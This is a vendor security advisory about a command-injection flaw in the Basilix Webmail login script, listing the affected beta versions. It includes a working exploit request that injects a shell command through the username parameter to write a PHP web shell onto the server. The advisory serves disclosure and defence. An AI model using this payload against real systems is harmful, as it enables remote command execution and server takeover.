J-Security Center

Title: Basilix Arbitrary Command Execution Vulnerability

Severity: HIGH

Description:

Basilix is a web-based mail application. It offers features such as mail attachments, address book, multiple language and theme support.

The login script('login.php3') in Basilix is prone to an input validation problem. This issue can be exploited if an attacker submits a specially crafted web request, which contains malicious arguments for the "$username" variable. The affected script will attempt to connect to an IMAP server to authenticate the user. Ideally, the attacker will have set up their own IMAP server and defined it as an argument in the malicious web request. Commands submitted by the attacker will be executed with the privileges of webserver running Basilix.

This an example of the input required to exploit this issue:

victim.host/basilix.php3?username=blah;echo%20"<?system(\$cmd);?>">js/blah.php&password=blah&RequestID=LOGIN&domain=blah&bsx_domains
[blah][imap_host]=blah.com.pl&bsx_domains[blah][imap_port]=143&bsx_domains[blah][domain]=su.th3_tick&nocookie=1&BSX_TestCookie=1&SES
SID=1

Remote command execution may enable to attacker to display sensitive information or even gain local access to the host.

Affected Products:

  • Basilix Webmail 1.0.02beta
  • Basilix Webmail 1.0.03beta

References:

Juniper Networks provides this content via a wide variety of sources and production methods. If notified of errors or omissions in the content of this page, Juniper Networks, at its discretion, will modify or remove the page or leave the content as is, depending on various factors including but not limited to the reputation and authority of the party providing the notification. Please use the contact information displayed elsewhere on this page to report any errors or omissions regarding the content on this page.